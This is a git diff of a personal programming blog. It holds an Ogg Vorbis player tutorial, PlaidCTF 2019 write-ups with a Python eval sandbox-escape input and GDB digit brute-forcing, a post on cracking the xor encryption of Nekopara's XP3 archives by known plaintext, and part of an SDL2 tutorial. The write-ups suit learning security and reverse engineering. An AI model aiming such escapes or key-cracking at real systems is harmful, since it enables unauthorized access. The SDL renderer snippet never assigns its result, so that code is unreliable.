fprintf(stderr, "Usage: %s [PATH]\n", argv[0]); + return 1; +} +#+END_SRC + +Next, we'll initialize libao. We'll also get the ID of the default sound driver +for when we open an audio device later. + +#+BEGIN_SRC c :hl_lines 0 +ao_initialize(); +int default_driver = ao_default_driver_id(); +#+END_SRC + +Now, we'll specify the output format we want. This is what we were talking about +earlier, about frequency and channels and such. The only part of this that +wasn't mentioned was =format.byte_format=, which is just the byte order of the +PCM buffer. The Vorbis decoder will work with either big or little endian, but +we'll just stick with little endian for simplicity. + +#+BEGIN_SRC c :hl_lines 0 +ao_sample_format format = {0}; +format.bits = 16; +format.channels = 2; +format.rate = 44100; +format.byte_format = AO_FMT_LITTLE; +#+END_SRC + +We'll use this format structure to open an audio device with the default sound +driver we figured out earlier. + +#+BEGIN_SRC c :hl_lines 0 +ao_device *device = ao_open_live(default_driver, &format, NULL); +if (device == NULL) { + fprintf(stderr, "Error opening device\n"); + return 1; +} +#+END_SRC + +And now, we'll get our PCM buffer. Some audio libraries have a routine to give +you a a buffer, but libao is alright with us using pretty much anything, so +we'll allocate it with =malloc(3)=. At this point, maybe you're wondering why we +use a buffer. While we /could/ read and play one byte at a time, that can be +very inefficient. It's better to read it into a buffer, and then play that +buffer. You don't want it to be too large, though, as there will be a longer +pause every time the buffer has to be read into. You also don't want it to be +too small. I find that 256 is good enough, but you can tweak that to your needs. +The size should be a power of two. + +#+BEGIN_SRC c :hl_lines 0 +char *buf = malloc(BUF_SIZE); +if (buf == NULL) { + fprintf(stderr, "Error allocating PCM buffer.\n"); + return 1; +} +#+END_SRC + +Now, we'll initialize libvorbisfile, which is done by opening the file we want +to play. This huge switch statement isn't necessary, it's just there to show all +the possible status codes of =ov_fopen=. Checking for a status code of 0 would +be just fine here. + +#+BEGIN_SRC c :hl_lines 0 +OggVorbis_File vf; +switch (ov_fopen(argv[1], &vf)) { +case OV_EREAD: + fprintf(stderr, "Couldn't open %s.\n", argv[1]); + return 1; + +case OV_ENOTVORBIS: + fprintf(stderr, "File contains no vorbis data.\n"); + return 1; + +case OV_EVERSION: + fprintf(stderr, "Vorbis version mismatch.\n"); + return 1; + +case OV_EBADHEADER: + fprintf(stderr, "File contains a bad bitstream header.\n"); + return 1; + +case OV_EFAULT: + fprintf(stderr, "Failure induced by heap/stack corruption.\n"); + return 1; +} +#+END_SRC + +The real meat and potatoes of the program comes next. A loop that continually +reads data into our PCM buffer and plays it, until there's no more data to +play. + +#+BEGIN_SRC c :hl_lines 0 +int read, bitstream; +do { + read = ov_read(&vf, buf, BUF_SIZE, 0, 2, 1, &bitstream); + ao_play(device, buf, BUF_SIZE); +} while (read > 0); +#+END_SRC + +The random integer constants in the call to =ov_read= might be a bit +intimidating, but it's really nothing to worry about. The first parameter is +whether or not the PCM buffer is big endian (which it is not, so we pass 0), the +second is the sample size, where 2 represents 16-bit, and the third is whether +or not the data is signed. You can read more about it in [[https://xiph.org/vorbis/doc/vorbisfile/ov_read.html][the documentation]]. + +Hopefully, things are starting to click around now. Any sound that comes out of +your speakers is just a bunch of numbers, and file formats like Ogg and MP3 are +just a means of compressing those numbers. + +And finally, we'll finish up with some cleanup. + +#+BEGIN_SRC c :hl_lines 0 +free(buf); +ov_clear(&vf); +ao_close(device); +ao_shutdown(); +return 0; +#+END_SRC + +Compilation is pretty easy, too. + +#+BEGIN_SRC +$ gcc -o oggplay oggplay.c -lvorbisfile -lao +#+END_SRC + +Pretty painless, right? Without error handling, this is about 21 lines of code. + +Go ahead, try it out! If you don't save your music as Ogg Vorbis, you can +convert songs with ffmpeg: + +#+BEGIN_SRC +$ ffmpeg -i [file] -c:a libvorbis song.ogg +#+END_SRC + +Here are some exercises if you want to play with this more: +- Get the frequency from the file being played, rather than hardcoding it at + 44.1 kHz. Check out the [[https://xiph.org/vorbis/doc/vorbisfile/reference.html][file Information section of the documentation]]. +- Add a status line showing the current timestamp. +- Watch [[https://www.youtube.com/watch?v=pFgui9uGmr4][this talk from SIGINT13]]. +- Play two sounds at once by adding their PCM values. Keep in mind that 8-bit + and 16-bit integers overflow quite easily. +- Learn the library for another audio codec/container, like libopenmpt for + classic tracker music. +- If you're feeling particularly up to a challenge, try rewriting the player + using just libvorbis and libogg, rather than libvorbisfile. diff --git a/posts/PlaidCTF 2019 Writeups/plaidctf-2019.org b/posts/PlaidCTF 2019 Writeups/plaidctf-2019.org new file mode 100644 index 0000000..6818718 --- /dev/null +++ b/posts/PlaidCTF 2019 Writeups/plaidctf-2019.org @@ -0,0 +1,456 @@ +#+TITLE: Writeups for PlaidCTF 2019 +#+DATE: <2019-04-14 Sun> +#+TAGS: writeup, security, reverse-engineering, capture-the-flag, x86, c, python + +My long-lived hiatus from capture-the-flag has come to an end, as I got off my +ass this weekend to play in PlaidCTF 2019. Being a one-man team is pretty +lonely, but my old team wasn't playing, and even if they were, I don't know if I +would've wanted to make the commute just to play with them. + +The team name I came up with was ~0x7c_Jake~ since I've been listening to a lot of +[[https://en.wikipedia.org/wiki/Less_Than_Jake][Less than Jake]] recently and =0x7c= is =jl= in x86. With any luck, though, I won't be +playing under that team name again -- I'm going to reach out to the ACM chapter +at my university and ask about starting a team associated with the school.[fn:1] + +But I'd imagine that you don't care much for that. You're here for my challenge +solutions, aren't you? + +* can you guess me (100 pts) + +This was a pretty simple Python sandbox escape challenge. The constraint was +that your input could have a maximum of 10 unique characters. + +#+BEGIN_SRC python :hl_lines 0 +count_digits = len(set(inp)) +if count_digits <= 10: # Make sure it is a number + val = eval(inp) +else: + raise +#+END_SRC + +So if you were thinking of sending off =print(secret_value_for_password)=, you're +out of luck. + +#+BEGIN_SRC python :hl_lines 0 +f = lambda x: (len(set(x)) <= 10, len(set(x))) +f("secret_value_for_password") # >>> (False, 15) +#+END_SRC + +This was the challenge I poked at for warm up, and in about fifteen minutes I +had what I believe is an unintended solution. + +#+BEGIN_SRC prog + ____ __ __ ____ __ __ + / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ +| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ +| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ + \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| + + + +Input value: help(flag) +No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'. +Use help() to get the interactive help utility. +Use help(str) for help on the str class. + +Nope. Better luck next time. +#+END_SRC + +* i can count (50 pts) + +The premise of this challenge is that there's some integer encoded as an ASCII +string. It's continually incremented by one and then checked against a +=check_flag=[fn:2] function. The flag is just whatever integer satisfies =check_flag=. + +You certainly _could_ have reverse engineered =check_flag= and plugged all of its +constraints into z3, but the function is 1394 bytes long. An easier solution is +to realize that the constraints are checked for each digit of the integer, open +the program in a debugger, set some breakpoints at various points in =check_flag=, +and brute-force the value digit-by-digit. + +This would've been a nice opportunity to use r2pipe or GDB's Python APIs, but I +started this challenge close enough to the end of the competition that doing it +by hand in GDB was the best course of action. I broke at =check_flag+0x31= so I +could see what the individual digit being checked was, as well as at +=check_flag+0x532= so I could see if the function was jumping to a =ret= -- which +would indicate that the digit doesn't satisfy the constraints. Every time I came +across a correct digit, I'd add a bogus '/' to the end of the integer string +with =set *((char *)0x56555000+0x3048) = 0x2f=[fn:3] so that =check_flag= started +checking the following digit, rather than incrementing the integer and ruining +everything. Again, the return key on my keyboard would have appreciated it if I +scripted my solution, but it worked and I was able to get the flag of +"PCTF{2052419606511006177}". + +* big_maffs (250 pts) + +I found this challenge to be really difficult, and at the time of writing this, +my solution is still running. I began by reverse engineering the binary to its +equivalent C. + +#+BEGIN_SRC c :hl_lines 0 +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +struct string { + uint64_t length; + char *data; +}; + +static char peanut[] = { + 0x05, 0xbb, 0x01, 0x59, 0x6f, 0x06, 0x18, 0x61, 0x3d, 0xa0, + 0x3a, 0xe4, 0x9c, 0xe4, 0xe1, 0xe6, 0x73, 0x93, 0x81, 0xf2, + 0x10, 0x6b +}; + +static char banana[] = { + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, + 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, +}; + +static struct string *global_4090; + + +// 0x00001189 1 26 eom_error +void eom_error(void) +{ + puts("no more memory? https://downloadmoreram.com/"); + exit(1); +} + +// 0x000011a3 3 51 my_malloc +void *my_malloc(int size) +{ + char *ret; + if ((ret = malloc(size)) == NULL) { + eom_error(); + } + return ret; +} + +// 0x000011d6 3 62 my_realloc +void *my_realloc(char *data, int length) +{ + char *res; + + // STACK SIZE 0x20 + if ((res = realloc(data, length)) == NULL) { + eom_error(); + } + + return res; +} + +// 0x00001214 1 97 make_string +struct string *make_string(char *data, int n) +{ + struct string *ret; + + // STACK SIZE 0x20 + ret = my_malloc(sizeof(struct string)); + ret->data = my_malloc(n); + memcpy(ret->data, data, n); + ret->length = n; + + return ret; +} + +// 0x00001695 7 72 all_null? +int all_null(struct string *s) +{ + int null_count; + + null_count = 0; + while (null_count < s->length) { + if (s->data[null_count] == '\0') { + null_count++; + } else { + return 0; + } + } + + return 1; +} + +// 0x000016dd 8 146 ends_with_digit? +int ends_with_digit(struct string *s) +{ + int i; + + // STACK SIZE 0x18 + if (all_null(s)) { + return 0; + } + + i = s->length - 1; + + while (i >= 0) { + if (s->data[i] == '\0') { + i--; + } else { + // True for c > 64, as well as the following cases: + // - c == 1 + // - 4 <= c <= 7 + // - 16 <= c <= 31 + return (s->data[i] & 0xaa) > (s->data[i] & 0x55); + } + } + + return 0; +} + +// 0x00001275 1 70 resize_string_by_one +void resize_string_by_one(struct string *s) +{ + // STACK SIZE 0x10 + s->length++; + s->data = my_realloc(s->data, s->length); +} + +// 0x000012bb 21 492 strum +void strum(struct string *a, struct string *b) +{ + int onion; + int brisket; + int cheese; + char donut; + char syrup; + char carrot; + char melon; + char butter; + + // STACK SIZE 0x30 + + butter = '\0'; + cheese = 0; + + // 0x13c3 + while (cheese < b->length) { + melon = '\0'; + brisket = 0; + + while (brisket < 8) { + syrup = butter \ + + ((a->data[cheese] >> brisket) & 1) \ + + ((b->data[cheese] >> brisket) & 1); + + if (banana[syrup + 2] != '\0') { + melon |= 1 << brisket; + } + + butter = banana[syrup + 8]; + brisket++; + } + + if (a->length == cheese) { + resize_string_by_one(a); + } + + a->data[cheese] = melon; + cheese++; + } + + while (butter != '\0') { + if (cheese >= a->length) { + resize_string_by_one(a); + } + + carrot = '\0'; + onion = 0; + + while (onion < 8) { + donut = butter + ((a->data[cheese] >> onion) & 1); + + if (banana[donut + 2] != '\0') { + carrot |= 1 << onion; + } + + butter = banana[donut + 8]; + onion++; + } + + a->data[cheese] = carrot; + cheese++; + } +} + +// This function is extremely similar to strum, but with 'subl %eax, %esi; movl +// %esi, %eax' at 0x00001335 instead of 'addl %esi, %eax'. +void bake(struct string *a, struct string *b) +{ + int onion; + int brisket; + int cheese; + char donut; + char syrup; + char carrot; + char melon; + char butter; + + // STACK SIZE 0x30 + + butter = '\0'; + cheese = 0; + + // 0x13c3 + + while (cheese < b->length) { + melon = '\0'; + brisket = 0; + + while (brisket < 8) { + syrup = butter \ + + ((a->data[cheese] >> brisket) & 1) \ + - ((b->data[cheese] >> brisket) & 1); + + if (banana[syrup + 2] != '\0') { + melon |= 1 << brisket; + } + + butter = banana[syrup + 8]; + brisket++; + } + + if (a->length == cheese) { + resize_string_by_one(a); + } + + a->data[cheese] = melon; + cheese++; + } + + while (butter != '\0') { + if (cheese >= a->length) { + resize_string_by_one(a); + } + + carrot = '\0'; + onion = 0; + + while (onion < 8) { + donut = butter + ((a->data[cheese] >> onion) & 1); + + if (banana[donut + 2] != '\0') { + carrot |= 1 << onion; + } + + butter = banana[donut + 8]; + onion++; + } + + a->data[cheese] = carrot; + cheese++; + } +} + +struct string *gaze(struct string *a, struct string *b) +{ + struct string *local_8; + struct string *local_10; + struct string *local_18; + struct string *local_20; + struct string *local_28; + + // STACK SIZE 0x40 + + if (all_null(a)) { + local_28 = make_string("\x00", 1); + strum(local_28, b); + strum(local_28, global_4090); + return local_28; + } + + if (all_null(b)) { + local_20 = make_string("\x00", 1); + strum(local_20, a); + bake(local_20, global_4090); + return gaze(local_20, global_4090); + } + + local_18 = make_string("\x00", 1); + strum(local_18, b); + bake(local_18, global_4090); + + local_10 = gaze(a, local_18); + + local_8 = make_string("\x00", 1); + strum(local_8, a); + bake(local_8, global_4090); + + return gaze(local_8, local_10); +} + +void fcn_176f(struct string *a, struct string *b) +{ + // STACK SIZE 0x10 + while (!ends_with_digit(a)) { + bake(a, b); + } + strum(a, b); +} + +// 0x00001935 4 230 main +int main(int argc, char **argv) +{ + struct string *local_8; + struct string *local_10; + struct string *local_18; + int local_1c; + + // STACK SIZE 0x20 + global_4090 = make_string("\x01", 1); + + puts("Generating your flag, please wait warmly..."); + + local_18 = make_string("\x1e", 1); + local_10 = gaze(local_18, local_18); + + local_8 = make_string((void *) 0x206e, 0x17); + fcn_176f(local_10, local_8); + + local_1c = 0; + + while (local_1c <= 0x15) { + peanut[local_1c] ^= local_10->data[local_1c]; + local_1c++; + } + + printf("Your flag is: %s\n", peanut); + return 0; +} +#+END_SRC + +TL;DR: among other things, there's a function called =gaze=[fn:4] that recursively +generates an XOR decryption key for =peanut=. + +I took this be an "optimize me" challenge. My current solution memoizes the +results of =gaze= into a linked list to reduce the number of recursive +computations made. In retrospect, I probably should've used a binary search tree +or a hash table instead of a linked list, but I was trying to quickly hack +together a solution. Also in retrospect, I probably should spent my time +figuring out what =strum= and =bake= _really_ do and reversing the calculation rather +than trying my hand at optimizing it. Ah, well. + +One neat thing I found out about from working on this challenge was the +=MALLOC_CHECK_= environment variable recognized by glibc. If it's set to =0=, heap +corruption errors are silently ignored. My solution needed it, and I'm unsure of +whether the heap corruption is in my translation of the original binary, or if +it was in my memoization code. Either way, I have a feeling it will make itself +useful again in the near future. + +--- + +Addendum: As it turns out, memoization was a wildly sophomoric attempt at a +solution, and the real solution was, as I mentioned, to figure out the purposes +of =strum= and =bake=. It turns out that =strum= is base (-2) addition, =bake= is base +(-2) subtraction, =gaze= is the Ackermann function, and that the structure is +actually a [[https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic][bignum]], not a string. In this case, that poor assumption led me down +a wrong path. Once you figure that out, you'll need to put your modular +arithmetic chops to work as well. An excellent writeup from sasdf of [[https://balsn.tw/][Balsn]] is +available [[https://sasdf.cf/ctf/writeup/2019/plaid/rev/bigmaffs/][here]]. + +[fn:1] So if you currently study at UMass Amherst and you'd be interested in joining a CTF team, [[http://jakob.space/about/][shoot me an email!]] +[fn:2] The executable wasn't stripped. +[fn:3] Where =0x56555000= is the address that the binary was loaded to in memory, and =0x3048= is the beginning of the ASCII-encoded integer (plus an offset for whichever digit I was on) +[fn:4] This time the binary _was_ stripped. I didn't bother updating the temporary names I used. Yes, I use foods for variables and random verbs for functions. diff --git a/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png b/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png Binary files differnew file mode 100644 index 0000000..0513350 --- /dev/null +++ b/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png diff --git a/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png b/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png Binary files differnew file mode 100644 index 0000000..0a8774c --- /dev/null +++ b/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png diff --git a/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png b/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png Binary files differnew file mode 100644 index 0000000..2ce8f62 --- /dev/null +++ b/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png diff --git a/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org b/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org new file mode 100644 index 0000000..0b6c58a --- /dev/null +++ b/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org @@ -0,0 +1,120 @@ +#+TITLE: Reverse Engineering Babby's First Archive Format +#+DATE: <2017-03-02 Thu> +#+TAGS: writeup, programming, reverse-engineering, video-games, x86, c, python +#+HAUNT_BASE_DIR: ../../haunt/ + +About two months have passed since the first release of Nekopack - a tool I +wrote for extracting game data from Nekopara's XP3 archives. While the process +wasn't an amazing reverse-engineering war story that will keep you on the edge +of your seat, I feel it deserves a small blog post explaining how I did it. +Additionally, there's no real documentation on the XP3 format as far as I'm +aware, so hopefully this post will serve as an informal specification. + +The first step I took was to see if anyone else had tried to reverse it. Even +something as simple as a writeup would have made my goal significantly more +attainable. The closest thing I was able to find was [[https://github.com/vn-tools/arc_unpacker][Arc Unpacker]], a tool +capable of extracting several archive formats, including XP3. However, +attempting to use it brought to my attention the fact that Nekopara's archives +are encrypted. Further searching yielded nothing of interest, so it seemed that +the solution was to write a tool of my own. I chose to write it from scratch, as +I couldn't predict how complex the encryption algorithm would be. + +Writing a tool to work with an archive format, however, requires a very thorough +understanding of how it's structured. Instinctively, I fired up my favorite hex +editor and went at it, with the [[https://github.com/vn-tools/arc_unpacker/blob/master/src/dec/kirikiri/xp3_archive_decoder.cc][source code of Arc]] open to figure out most of +it. + +#+CAPTION: A hex dump of the XP3 header. +[[./xp3-header.png]] + +The first section of the archive is the header. It begins with an 11-byte +"magic number," used by whatever program is opening it as a sanity check. It's +followed by a 64-bit offset which, for XP3 version 2, points to a few adjacent +values. First, an 8-bit integer that I've been told acts as a flags variable, +followed by a 64-bit integer representing the table's size, and finally another +64-bit integer containing an offset to the beginning of the table section. The +flags variable, to my knowledge, should have the 0x80 bit set; it's a constant +defined in the code of the KiriKiriZ engine that I presume marks compatibility +with the game engine. Byte 0x13 is a 32-bit unsigned integer representing the +version, where a value of 1 represents version 2 of the archive. + +The header can be represented as the following C struct. + +#+BEGIN_SRC c :hl_lines 0 +struct header { + char magic[11]; + uint64_t info_offset; + uint32_t version; + uint64_t table_size; + uint8_t flags; + uint64_t table_offset; +}; +#+END_SRC + +Seeking to the table, we find that it starts with some metadata. First, an +8-bit unsigned integer representing whether or not the contents of the archive +are compressed. That's followed by a 64-bit unsigned integer representing the +compressed size of the table, and another 64-bit unsigned integer representing +the decompressed size. The table's contents are compressed using LZ77 and +Huffman Coding, so let's use zlib! I proceeded to inflate the archive contents +according to the header and dumped it so that I could view it in my hex editor. + +#+CAPTION: Sections in the hexdump of the decompressed payload with the corresponding constants in the Arc source code. +[[./binary-dump.png]] + +Every entry has a header containing a 32-bit magic number (underlined in red), +followed by a 64-bit unsigned integer representing the size of the entry. It's a +very simple format to parse. This very first entry, =0x656c6946=, is an =eliF= +entry. It contains a UTF-16LE encoded filename and a "key", which is used to +associate the =eliF= entry with its corresponding =File= entry. That key is also +used when decrypting the file, but we'll get into that later on. + +The next visible chunk is a =File= entry. There's a lot in it, so it's broken up +into several parts: =info=, =segm=, =adlr=, and =time=" The =adlr= chunk is +pretty small and contains only the key, used to match the =File= entry to an +=eliF= entry. The =time= chunk is also pretty small, containing a UNIX timestamp +for the file creation date. What's a little more interesting are the two +remaining chunks. =segm= has offsets to the beginning of the file, and it can +actually contain several "segments." The =file= chunks specified in =segm= are +also compressed with LZ77 and Huffman Coding. =info= contains a flags variable, +a compressed and decompressed size, and what seems to be an MD5 hash of the +file. + +#+CAPTION: A screenshot of my terminal, showing the output of a bare-bones parser for the format. +[[./basic-parsing.png]] + +Now we run into the problem of the files' contents being encrypted. I began by +getting a debugger setup going to reverse engineer the binary. x64dbg isn't my +usual choice, especially not with Intel syntax, but it was the first thing I +was really able to get working. Of course, using the debugger alone is a little +primitive. We have other tools to make reverse engineering easier. + +#+CAPTION: A screenshot of procmon alongside x32dbg, logging Windows syscalls that read files. +[[./catching-file-reads.png]] + +Enter procmon. It's reminiscent of strace, but it's meant for Windows and has a +nice stack trace feature which helps us to locate the code that decrypts the +archive. This is the point where I got stuck, having to deal with threads. It +was mostly "guns blazing" debugging. I stepped through the code mindlessly for a +few days, until one night before going to bed when I decided to take another +look online for whether or not someone had cracked it yet. Then I found +[[https://bitbucket.org/SmilingWolf/xp3tools-updated][something interesting]]. + +It felt a little too easy, but I already wrote the unpacking part - so I wrote +code to decrypt buffers and copied the encryption keys into my code. Encryption +is symmetric and extremely simple, just single-key xor. A base key is first +derived by xoring the game's master key with the file key I mentioned earlier. +Then a one-byte key is derived from that key by xoring each byte. For some +games the least significant byte of the base key is used to encrypt the first +byte of the file. The game has default values to fall back to if either of +those keys are too simple. + +Since the script I found only had the keys for volumes 1 and 0, I decided to +try to get the key for volume 2 on my own. But now that I know the encryption +algorithm used, I can break it without having to disassemble the game. + +It's pretty simple. Most binary files have a "magic number" associated with +them, which allows us to perform a known-plaintext attack. Pair that with the +fact that the first byte of each file is encrypted with the least-significant +byte of the base key, and you've got yourself a cracking process simple enough +to do in [[https://github.com/TsarFox/nekopack/blob/master/other/find_key.py][about 100 lines of python]]. diff --git a/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png b/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png Binary files differnew file mode 100644 index 0000000..0fac996 --- /dev/null +++ b/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png Binary files differnew file mode 100644 index 0000000..4e9a146 --- /dev/null +++ b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org new file mode 100644 index 0000000..78142b5 --- /dev/null +++ b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org @@ -0,0 +1,317 @@ +#+TITLE: SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering +#+DATE: <2016-09-14 Sun> +#+TAGS: tutorial, programming, game-development, c +#+HAUNT_BASE_DIR: ../../haunt/ + +This is one of my older tutorials and follows a style unlike my current one. I +also no longer hold the same claims I made about the SDL documentation that I +originally made in this article. I think it's perfectly fine, you just need to +spend some time looking around because it's not organized like other +documentation is. For that reason, I have no plans to continue this tutorial +series unless someone specifically asks for me to continue it. + +SDL2 is my favorite graphics library right now. It might not be as powerful as +something like raw OpenGL, but it's simple. Simple enough that you can just +pick it up and start using it. There's a glaring issue with it, though. The +documentation is horrible. Absolutely horrible. A lot of it is unfinished, and +it doesn't look like it's getting attention any time soon. The SDL1.2 +documentation wasn't as bad, but that version of the library is vastly outdated +by today's standards. So here's my take on a tutorial for SDL - part 0x00 of a +I-don't-know-how-long-I'm-going-to-drag-this-on series. My examples are going +to be written in C, because the constructs I show here can still be used +verbatim in C++ (and probably SDL's other language bindings as well). This +tutorial will be covering the little boilerplate that SDL requires, as well as +the basics of windowing and rendering. Let's get into it. + +The first thing you have to worry about is installing and setting up SDL2.0. I +won't cover it in detail because it's something you should be able to figure out +yourself. If your operating system doesn't provide a means of package +management, you should be able to find a download on the [[https://libsdl.org/][official website]]. + +You should also figure out how to link SDL2 when you're compiling, nothing I +teach here will work if it isn't properly linked. If you're having trouble with +anything, fire up your favorite search engine or feel free to [[http://tsar-fox.com/][contact me]]. + +Alright, assuming you've successfully installed SDL, let's get to actually +programming. As with any C library, the first thing you should worry about is +including the header files. While SDL provides header files for specific +subsystems, we're not going to worry about that right now. There's a header +file that contains everything and we're going to use that for right now. + +#+BEGIN_SRC c :hl_lines 0 +#include <SDL2/SDL.h> +#+END_SRC + +Depending on how header files are organized on your system, you may have to use +this instead: + +#+BEGIN_SRC c :hl_lines 0 +#include <SDL.h> +#+END_SRC + +That will give us function prototypes and type definitions for everything in +the SDL library, but we have to initialize SDL before we can really do anything +with it. This is actually really simple, done with a single function call. + +#+BEGIN_SRC c :hl_lines 0 +SDL_Init(SDL_INIT_VIDEO); +#+END_SRC + +=SDL_Init= takes a flag as a parameter so it knows which subsystems to +initialize. /A/ parameter. One, not several. This might be a bit confusing to +some, especially if you're not familiar with bitwise arithmetic, but +=SDL_INIT_VIDEO= is nothing more than a preprocessor macro representing some +number. =SDL_Init= interprets that number, and initializes the subsystems +associated with it. We don't write the number out in our code, though (or at +least you shouldn't). We use the macros, but there aren't macros for every +combination of subsystems you can come up with. Does this mean that SDL can only +initialize one subsystem at a time? Not at all, to combine macros and represent +multiple subsystems, you would hook them together with the [[https://en.wikipedia.org/wiki/Bitwise_operation#OR][bitwise OR operator]]. +(=|=, not =||=). For example, if we wanted to initialize SDL's video AND audio +subsystems, we would do this + +#+BEGIN_SRC c :hl_lines 0 +SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO); +#+END_SRC + +But we're not going to be working with audio just yet. + +=SDL_Init= also returns an integer value, and it's pretty important. If it's +zero, SDL was initialized properly. Great! But if SDL can't be initialized for +some reason, it will return a negative number. This is where another SDL +function comes into the picture. =SDL_GetError= takes no arguments, but will +return a string literal explaining what went wrong. So if we wanted to do some +error checking (which you always should), we could do this: + +#+BEGIN_SRC c :hl_lines 0 +if (SDL_Init(SDL_INIT_VIDEO)) { + fprintf(stderr, "Here's the error: %s\n", + SDL_GetError()); + return 1; +} +#+END_SRC + +You can pretty much do anything here to handle the error. I'm using =fprintf(3)= +for simplicity, but SDL provides more advanced logging features which I'll cover +in a later tutorial. + +In SDL, you need to be responsible and clean up after yourself. For every +function that initializes or creates something, there is a complementary +function that deinitializes or destroys it. The function to counter =SDL_Init= +is =SDL_Quit=. It takes no parameters and returns nothing, you can just call it +and be done with it. With that covered, we've learned SDL's few lines of +boilerplate code. Much more appealing than something like Direct3D, eh? If you +compile and run the program right now, nothing interesting will happen. It +initialized and deinitialized SDL (unless something went wrong), but didn't +bother creating windows or doing anything because we didn't tell it to. Let's +change that. We first have to know about two important typedefs in SDL. +*SDL_Window, and SDL_Renderer.* =SDL_Window= is self-explanatory, it's a struct +representing a window, and =SDL_Renderer= is how you would put something into a +window. Renderers in SDL are capable of hardware acceleration and vertical-sync, +which is why SDL2 is awesome and SDL1.2 is left in the dust. These are just +structs, though, they don't do anything by themselves. Let's create a window, +and capture it in a =SDL_Window= struct: + +#+BEGIN_SRC c :hl_lines 0 +SDL_Window *my_cool_window = SDL_CreateWindow("A Cool Window", + SDL_WINDOWPOS_UNDEFINED, + SDL_WINDOWPOS_UNDEFINED, + 400, 400, SDL_WINDOW_SHOWN); +#+END_SRC + +Whoa, that's a mouthful, but it isn't as complicated as it looks. The first +argument is just a title for the window; you can name it whatever you want. The +next two arguments are X and Y values for where the window should be placed on +the screen. People usually don't care about this; you can use +=SDL_WINDOWPOS_UNDEFINED= if you don't. After that are the window's width and +height. I'm choosing to make my window 400 by 400 pixels, but you can choose +whatever size works best for your program. There are ways to change it later on, +too. Finally, we get to a flag. Its usage is similar to the flag we used with +=SDL_Init=, you use a bitwise OR to combine flags. We're not doing anything +fancy just yet, though, so =SDL_WINDOW_SHOWN= on its own will suffice. It +ensures that the window will be visible, rather than minimized. + +As you can hopefully tell from the example code above, =SDL_CreateWindow= +returns a pointer of type =SDL_Window=. If a window cannot be created, though, +it will return =NULL=. You should always do error checking, so throw something +in to see if =my_cool_window= (or whatever you named your window variable) is +=NULL=. + +#+BEGIN_SRC c :hl_lines 0 +if (!my_cool_window) { + fprintf(stderr, "Window couldn't be created. %s\n", + SDL_GetError()); + return 1; +} +#+END_SRC + +There's =SDL_GetError= again! He's our friend and you should be using him every +time you do error checking. + +Remember how I said that SDL has a complementary function to destroy anything +that is created? This is no exception. =SDL_DestroyWindow= is very similar to +=SDL_Quit=, but it takes a =SDL_Window= pointer as an argument. + +#+BEGIN_SRC c :hl_lines 0 +SDL_DestroyWindow(my_cool_window); +#+END_SRC + +It's sad to see him go, but we're done so we need to free the resources. At this +point, you can compile and run the C source file. It still kinda sucks, though. +When you run it, the window pops up and immediately goes away. One useful +function is =SDL_Delay=. It might seem mundane now, but it will become quite +important when we need to cap our program's framerate. It takes a number of +milliseconds as a parameter and temporarily stops your program so that SDL and +your computer can take a short break. Alright. So when we put that in our code +(after the window creation but before the window destruction), compile, and run +it, we get this: + +#+CAPTION: A screenshot of the window on my system. +[[./window.png]] + +I'm running i3wm, so it will probably look slightly different for you, but +we've finally got a window! It still sucks, though. It doesn't do anything, +it doesn't even clear itself! Let's make it white and learn a little bit +about renderers in SDL. + +If we want to do stuff within a window, we have two options. One is to create an +=SDL_Surface= from the window and draw to the surface, which is the sucky legacy +way of doing it so we're going to pretend that I didn't mention it, or you can +create a =SDL_Renderer=, which we're going to do because it's so much more +capable. We're going to use another SDL function call to create a renderer, and +we'll capture it in a =SDL_Renderer= pointer: + +#+BEGIN_SRC c :hl_lines 0 +SDL_Renderer *my_cool_renderer; +SDL_CreateRenderer(my_cool_window, -1, + SDL_RENDERER_ACCELERATED); +if (!my_cool_renderer) { + fprintf(stderr, "There was an error %s\n", + SDL_GetError()); +} +#+END_SRC + +Alright, so clearly the first argument is the window we want to create a +renderer for. The second is more complicated. It's the index of the driver to +initialize, which you probably don't care too much about so you can just put -1 +in there to have it use the first one that's available. The last is a flag, +which you probably know so much about by now. Finally, as you can imagine, +=SDL_CreateRenderer= returns =NULL= if a renderer cannot be created. This should +all seem pretty familiar, it's the same format as creating a window - create a +struct pointer to capture it, use a function call to create it, and do some +basic error checking. Dead simple, and it just gets better from here. + +Once 